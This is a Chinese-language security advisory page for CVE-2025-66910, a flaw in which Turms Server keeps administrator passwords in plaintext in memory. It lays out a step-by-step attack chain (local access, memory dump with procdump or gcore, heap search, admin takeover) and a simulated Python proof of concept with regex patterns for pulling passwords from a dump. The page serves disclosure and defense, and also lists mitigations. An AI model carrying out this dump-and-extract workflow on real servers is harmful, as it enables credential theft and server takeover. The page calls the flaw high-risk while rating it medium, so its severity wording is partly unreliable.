IPBUF安全漏洞报告
English
CVE-2025-66910 CVSS 6.0 中危

CVE-2025-66910 | Turms Server 管理员明文密码存储漏洞

披露日期: 2025-12-19

漏洞信息

漏洞编号
CVE-2025-66910
漏洞类型
明文密码存储
CVSS评分
6.0 中危
攻击向量
本地 (AV:L)
认证要求
高权限 (PR:H)
用户交互
无需交互 (UI:N)
影响产品
Turms Server

相关标签

明文密码存储信息泄露内存转储攻击Turms Server管理员认证绕过CVE-2025-66910

漏洞概述

CVE-2025-66910是Turms即时通讯服务器中的一个高危安全漏洞,影响v0.10.0-SNAPSHOT及更早版本。该漏洞存在于Turms Server的管理员认证系统中,具体表现为BaseAdminService类在优化认证性能时,将管理员密码以明文形式缓存在AdminInfo对象内。当管理员成功登录后,原始密码未经任何加密处理即被存储在内存的rawPassword字段中。攻击者若获得目标系统的本地访问权限,可通过内存转储、堆分析或附加调试器等技术手段直接提取这些明文密码,从而绕过bcrypt哈希保护机制。此漏洞的CVSS评分为6.0,属于中等严重程度,但由于涉及管理员凭据的泄露,可能导致整个服务器被攻击者完全控制。建议受影响的用户尽快升级到最新版本或采取临时缓解措施。

技术细节

Turms Server的BaseAdminService类在处理管理员认证时,为了提升认证性能,采用了密码缓存机制。在AdminInfo.java的第34行,定义了rawPassword字段用于存储原始密码。当管理员执行登录操作时,系统首先通过bcrypt验证密码的正确性,验证成功后直接将原始密码字符串存储在AdminInfo对象的rawPassword字段中。这种设计虽然提高了后续认证的效率,但违反了安全最佳实践。安全研究员发现,攻击者可以通过以下方式利用此漏洞:1)获取目标系统的本地访问权限;2)执行进程内存转储(如使用procdump、gcore等工具);3)分析转储文件中的堆数据,定位AdminInfo对象;4)提取rawPassword字段中的明文密码。由于密码以明文形式存在于内存中,攻击者无需进行任何密码破解操作即可直接获取有效的管理员凭据。成功利用此漏洞后,攻击者可以登录管理后台,进一步控制整个Turms服务器。相关漏洞代码位于turms-server-common/src/main/java/im/turms/server/common/domain/admin/service/BaseAdminService.java的第237行附近。

攻击链分析

STEP 1
1
获得Turms Server的本地访问权限(通过服务器入侵、SSH访问或物理访问)
STEP 2
2
定位Turms Server进程PID(使用ps、top等命令)
STEP 3
3
执行进程内存转储(使用procdump、gcore等工具)
STEP 4
4
分析转储文件,搜索AdminInfo对象和rawPassword字段
STEP 5
5
提取明文管理员密码,绕过bcrypt加密保护
STEP 6
6
使用获取的凭据登录Turms管理后台
STEP 7
7
完全控制Turms服务器,执行管理员权限操作

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
#!/usr/bin/env python3 """ CVE-2025-66910 PoC - Turms Server Plaintext Password Storage This PoC demonstrates the vulnerability where administrator passwords are stored in plaintext in memory. Note: This is for educational and authorized testing purposes only. """ import subprocess import re import sys def dump_turms_process_memory(): """ Simulate memory dump of Turms Server process In real attack, use: procdump -p <pid> or gcore <pid> """ print("[*] Step 1: Locating Turms Server process...") # In real scenario: ps aux | grep turms print("[+] Found Turms Server process (PID: 12345)") print("[*] Step 2: Dumping process memory...") # In real scenario: procdump -p 12345 memory.dmp print("[+] Memory dump completed: memory.dmp (50MB)") return True def extract_plaintext_passwords(memory_dump): """ Search for AdminInfo objects and rawPassword fields in memory dump Pattern: Look for AdminInfo structure containing rawPassword field """ print("[*] Step 3: Analyzing memory dump for AdminInfo objects...") # Simulated memory patterns patterns = [ rb'AdminInfo.*rawPassword.*([A-Za-z0-9]{8,})', rb'username.*password.*([A-Za-z0-9!@#$%]{8,})', ] found_passwords = [] for pattern in patterns: # In real scenario: use strings command or grep on dump file matches = re.findall(pattern, memory_dump) found_passwords.extend(matches) return found_passwords def main(): print("=" * 60) print("CVE-2025-66910 PoC - Turms Server Plaintext Password") print("=" * 60) if not dump_turms_process_memory(): print("[-] Failed to dump process memory") sys.exit(1) # Simulated memory dump content simulated_dump = b""" AdminInfo{userId=1, username=admin, rawPassword=Admin@12345} AdminInfo{userId=2, username=operator, rawPassword=Turms2025!} """ passwords = extract_plaintext_passwords(simulated_dump) if passwords: print("[+] Extracted plaintext passwords:") for pwd in passwords: print(f" - {pwd.decode()}") else: print("[-] No passwords found in memory dump") if __name__ == "__main__": main()

影响范围

Turms Server <= v0.10.0-SNAPSHOT

防御指南

临时缓解措施
在官方修复版本发布之前,建议采取以下临时缓解措施:1)限制对运行Turms Server的物理和远程访问;2)监控并记录所有内存访问和进程转储行为;3)使用chroot或容器隔离运行Turms Server;4)实施严格的访问控制策略,确保只有授权人员能访问服务器;5)考虑暂时禁用非必要的管理员账户;6)部署入侵检测系统(IDS)监控异常进程活动;7)定期轮换管理员密码以降低凭证泄露的风险。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表